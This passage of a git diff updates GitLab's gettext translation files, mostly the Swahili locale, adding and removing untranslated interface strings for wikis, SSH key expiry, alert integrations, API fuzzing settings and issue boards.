+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/sw_KE/gitlab.po b/locale/sw_KE/gitlab.po
index 46b1e4f3aa3..2314c123c33 100644
--- a/locale/sw_KE/gitlab.po
+++ b/locale/sw_KE/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: sw\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:52\n"
+"PO-Revision-Date: 2021-04-02 00:12\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
